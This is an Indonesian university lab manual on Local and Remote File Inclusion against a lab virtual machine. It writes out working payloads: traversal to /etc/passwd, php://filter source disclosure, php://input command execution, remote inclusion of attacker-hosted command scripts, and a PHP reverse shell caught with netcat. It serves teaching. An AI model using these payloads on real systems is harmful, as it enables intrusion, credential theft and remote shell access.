0% menganggap dokumen ini bermanfaat (0 suara)
53 tayangan23 halaman

File Inclusion

Diunggah oleh

A.F
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
53 tayangan23 halaman

File Inclusion

Diunggah oleh

A.F
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
Anda di halaman 1/ 23

WEB SYSTEM & SECURITY LAB MANUAL

FILE INCLUSION
Basic
Local File Inclusion(LFI)
dan
Remote File Inclusion(RFI)

Module 06

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
A. Lab Environment

 Kali Linux as a attacker (Virtual Machine)


 Ubuntu Server as a victim (Virtual Machine)
 Web Browser
 Tools to scanning vulnerability
 IP Address Victim (192.168.100.2)

B. Lab Scenario
Telah diketahui beberapa website dengan url:

Website URL Vulnerability Page


192.168.100.2/simple_blog http://192.168.100.2/simple_blog/index.php?page=

Gunakan metode File Inclusion (LFI & RFI) untuk melakukan injeksi ke website
target.

C. Lab Activity
Lakukan percobaan untuk melakukan injeksi melalui vulnerability page.

D. Tools
Browser (Mozilla Firefox)

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
1
Celah Local File Inclusion
(LFI)

Pengetahuan Dasar:

- HTML
- PHP

Tools:

- Browser (Mozilla Firefox)


- Addons Hackbar

Langkah-langkah:
1. Akses Vulnerability Page dengan URL
http://192.168.100.2/simple_blog/index.php?page=

Gambar 1. Vulnerability Page

2. Cobalah untuk berpindah page ke page Technology, Design, culture.


3. Amati perubahan konten yang terjadi.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
4. Kemudian cobalah untuk memasukkan sembarangan path/url pada bagian page=
seperti berikut:

http://192.168.100.2/simple_blog/index.php?page=apasaja

Gambar 2. Memasukkan sembarang url/path/kata

Perhatikan pesan error yang muncul, ketika memasukkan sembarangan kata pada
bagian page= muncul pesan error yang menandakan file atau directory dengan nama
apasaja tidak ada, kemudian fungsi yang digunakan disana adalah fungsi include()
yang bisa menjadi salah satu celah File Inclusion jika tidak ditangani atau difilter
dengan benar.

Beberapa fungsi yang bisa menjadi celah pada bahasa pemrograman PHP:

1. include()
2. require()
3. include_once()
4. require_once()

Selain itu pesan error tersebut juga menampilkan letak path sebuah website di
server.

5. Langkah selanjutnya adalah kita akan mencoba apakah url tersebut mempunyai
celah untuk File Inclusion, pada percobaan ini kita akan mencoba celah LFI
(Local File Inclusion) atau dengan kata lain kita akan mencoba menampilkan file-
file sensitive yang di server seperti:
- /etc/issue
- /etc/passwd
- /etc/group
- /etc/resolv.conf
- /etc/shadow

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
http://192.168.100.2/simple_blog/index.php?page=/etc/passwd

Gambar 3. /etc/passwd

Pada gambar 3, ternyata kita berhasil menampilkan atau membaca isi dari file
/etc/passwd. Pada tahapan ini sudah bisa dibuktikan jika website tersebut
mempunyai celah LFI, kita bisa mencoba untuk membaca file sensitive lain
misalkan file /etc/shadow.

http://192.168.100.2/simple_blog/index.php?page=/etc/shadow

Gambar 4. /etc/shadow

Pada gambar 4, ketika kita mencoba membaca file /etc/shadow muncul pesan
error permission denied yang berarti posisi kita sekarangan tidak mempunyai hak
akses untuk membaca file tersebut. Ternyata tidak semua file sensitive bisa kita

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
baca melalui celah LFI. Selanjutnya kita bisa mencoba lagi untuk membaca file
sensitive lain yang ada di server.
6. Untuk membaca file-file di server ada beberapa cara, selain cara yang sudah
dicoba sebelumnya masih ada cara lain seperti menggunakan directory traversal
atau dengan menambah ../../ (dot-dot-slash) pada url seperti berikut:

Gambar 5. Directory traversal

Cobalah cara directory traversal sampai file yang dimaksud tersebut bisa dibaca.

7. Langkah selanjutnya adalah misalkan kita ingin membaca sebuah file php yang
ada di server, dengan menggunakan cara-cara yang sebelumnya hal tersebut tidak
bisa dilakukan seperti contoh berikut, misal kita akan membaca sebuah file dengan
nama koneksi.php menggunakan cara yang sebelumnya.

Gambar 6. Membaca koneksi.php

Pada website tersebut tidak menampilkan apapun atau dengan kata lain file php
tersebut tidak bisa dibaca. Hal ini bisa disiasati dengan menggunakan php wrapper,
yang tujuannya untuk membaca isi file koneksi tersebut.
Adapun PHP wrapper tersebut adalah:

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 7. PHP Wrapper

Kita akan menggunakan php://filter untuk membaca isi file koneksi.php, caranya
adalah dengan melakukan encode isi file dari koneksi.php kemudian kita decode
hasilnya. Kita akan menggunakan base64. Caranya adalah sebagai berikut:
masukkan perintah berikut pada url:

http://192.168.100.2/simple_blog/index.php?page=php://filter/convert.base64
-encode/resource=koneksi.php
Gambar 8. php filter

Kemudian langkah selanjutnya adalah mengcopy hasil base64 encode yang


muncul dan kemudian didecode.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 9. Base64 encode koneksi.php

Untuk melakukan decode, kita bisa menggunakan bantuan hackbar, seperti berikut:

Gambar 10. Base64 hackbar

pilih base64 decode kemudian paste hasil dari base64 encode sebelumya seperti
berikut:

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 11. Base64 hackbar

Kemudian OK dan lihat pada box hackbar hasil decode base64.

Gambar 12. Base64 decode hackbar

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
8. Pada celah ini kita juga bisa melakukan Remote Code Execution (RCE) ke server.
Caranya adalah dengan menggunakan php wrapper php://input. Dengan celah
ini kita bisa masuk ke terminal server dan bisa melihat file atau direktori apa saja
yang ada di server.
9. Kita bisa menggunakan hackbar untuk mencoba celah RCE.
Masukkan URL berikut:

http://192.168.100.2/simple_blog/index.php?page=php://input

Gambar 13. php://input hackbar

Kemudian centang pada bagian Post Data, masukkan perintah berikut:

<?php echo shell_exec(“ls -al”); ?>

Terakhir klik Execution, muncul keterangan di website:

Gambar 14. php://input RCE

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Supaya lebih mudah dibaca hasilnya tambahkan perintah berikut pada bagian POST
Data:

Gambar 15. <pre></pre>

Sehingga tampilannya seperti berikut:

Gambar 16. php://input

Selanjutnya kita bisa mencoba perintah lain yang biasa kita jalankan di terminal
seperti:

- uname –a
- w
- whoami
- dsb.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
2
Celah Remote File Inclusion
(RFI)

Pengetahuan Dasar:

- HTML
- PHP

Tools:

- Browser (Mozilla Firefox)


- Addons Hackbar

Langkah-langkah:
10. Akses Vulnerability Page dengan URL
http://192.168.100.2/simple_blog/index.php?page=

Gambar 1. Vulnerability Page

11. Cobalah untuk berpindah page ke page Technology, Design, culture.


12. Amati perubahan konten yang terjadi.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
13. Untuk melakukan percobaan celah Remote File Inclusion, buatlah sebuah file
dengan nama rfi.php pada server attacker kali linux.
14. Langkah-langkahnya sebagai berikut:
- Buka terminal
- Nyalakan terlebih dahulu service apache2 di kali linux dengan perintah:
service apache2 start

Gambar 2. Start service


- Untuk memastikan service sudah berjalan bisa menggunakan perintah:
service apache2 status

Gambar 3. Service status

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
- Bisa juga dengan cara mengakses lewat browser seperti berikut:
http://192.168.100.3

Gambar 4. Apache2 page

- Jika muncul seperti pada gambar 4, berarti service apache2 sudah berjalan.
- Setelah semuanya berjalan, pindah ke direktori default tempat penyimpanan
script/code pada apache2 di /var/www/html/

Gambar 5. /var/www/html/

- Buatlah sebuah script dengan rfi.php, gunakan perintah nano rfi.php

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
- Isikan seperti berikut:

Gambar 6. Rfi file

- Jika sudah, alangkah baiknya kita coba dulu script yang kita buat tersebut
dengan cara sebagai berikut:
http://192.168.100.3/rfi.php

Gambar 7. Test rfi

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
- Jika text/code yang kita buat muncul di browser, script tersebut sudah siap
dicoba pada website target.
- Langkah selanjutnya adalah percobaan menyisipkan script yang sudah dibuat
pada website target seperti berikut:

http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/rfi.php

Gambar 8. Rfi web target

- Jika isi script tersebut muncul berarti RFI berhasil.


- Selanjutnya kita akan mencoba untuk melihat informasi php yang digunakan
pada server target.
- Caranya sama seperti yang sebelumnya, buatlah sebuah file dengan nama
info.php, kemudian isikan script berikut:
<?php phpinfo(); ?>

Gambar 9. phpinfo()

- Jalankan script tersebut pada website target.


- Jalankan seperti berikut:

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/info.php

Gambar 10. phpinfo

Pada website target, muncul informasi php yang digunakan, tapi jika kita amati dengan
baik, informasi yang muncul tersebut adalah informasi dari server attacker bukan
informasi dari server target. Ini dikarenakan file yang kita eksekusi adalah file dengan
ekstensi .php, sehingga script tersebut mengeksekusi informasi yang ada di server
attacker. Untuk mengatasi hal tersebut cukup dengan merubah ekstensi file yang
sebelumnya .php menjadi .txt.
Kita copy saja file info.php yang sebelumnya sudah dibuat dengan perintah berikut:
cp info.php info.txt

Gambar 11. Copy

15. Kemudian cobalah untuk jalankan kembali dengan ekstensi .txt seperti
berikut:
http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/info.txt

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Gambar 12. Info server target

Pada gambar 12, kita sudah berhasil membaca informasi versi php pada server victim.

Jadi bedakan penggunaan ekstensi .php dan .txt, untuk .php ketika dieksekusi yang
muncul adalah informasi dari server attacker, tetapi ketika ingin melihat informasi
pada serve target gunakan ekstensi .txt.

16. Langkah selanjutnya adalah kita akan mencoba mengeksekusi sebuah


perintah melalui script yang kita buat.
17. Buatlah sebuah file dengan nama evilscript.txt, kemudian isikan seperti
berikut:

Gambar 13. evilscript.txt

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
18. Jalankan pada browser seperti langkah sebelumnya:
http://192.168.100.2/simple_blog/index.php?cmd=pwd&page=http://192.168.100
.3/evilscript.txt

Gambar 14. Evilscript.txt

Perhatikan pada url, disana ada perintah pwd yang digunakan untuk melihat posisi
direktori kita sekarang.
Contoh lain kita bisa mengganti perintah tersebut dengan perintah yang lain, seperti
berikut.
http://192.168.100.2/simple_blog/index.php?cmd=ls -la&page=http://192.168.100.3/evilscript.txt

Gambar 15. ls -la

Perintah ls –la digunakan untuk melihat isi suatu direktori dengan informasi yang
detail. Kita bisa mencoba menggunakan perintah-perintah lain yang biasa
digunakan pada terminal.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
3
PHP Reverse Shell Melalui
Celah Remote File Inclusion
(RFI)

Pengetahuan Dasar:

- HTML
- PHP

Tools:

- Browser (Mozilla Firefox)


- Addons Hackbar

Langkah-langkah:
1. Pada percobaan kali ini, kita akan mencoba masuk ke terminal server target dengan
bantuan script php reverse shell yang bisa didownload di website
http://pentestmonkey.net/tools/web-shells/php-reverse-shell

2. Lakukan konfigurasi IP address attacker dan port yang dibuka.

Gambar 1. Konfigurasi

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
3. Langkah selanjutnya adalah listening port yang sudah kita setting seblumnya
dengan cara ketikkan : nc -lvp 4444

Gambar 2. Listening port

4. Langkah selanjutnya eksekusi script reverse.txt melalui website yang mempunyai


celah RFI seperti berikut:
http://192.168.100.2/simple_blog/index.php?page=http://192.168.100.3/reverse.txt

Gambar 3. Eksekusi reverse.txt

Pastikan yang diakses adalah script yang benar dan berekstensi .txt, seperti pada
percobaan sebelumnya, ketika ekstensi script tersebut .php, maka shell yang
direverse adalah shell server attacker sendiri.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Kemudian perhatikan pada terminal server attacker yang sebelumnya sudah listen
port 4444, hasilnya seperti berikut:

Gambar 4. Reverse shell berhasil

Langkah selanjutnya upgrade terminal menggunakan perintah:


python3 –c ‘import pty;pty.spawn(“/bin/bash”)’

Gambar 5. Upgrade terminal

Pada tahapan ini kita sudah berhasil dan selesai masuk ke server target.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer
Latihan:
Buatlah report beserta skenario untuk
masuk ke server target pada DVWA
menggunakan celah Remote File Inclusion
pada FILE INCLUSION, kemudian bacalah
isi konfigurasi dari website langitan,
konfigurasi berisi username, password dan
database.

Modul Praktikum Web Sistem & Keamanan - Muhammad Koprawi - Teknik Komputer

Anda mungkin juga menyukai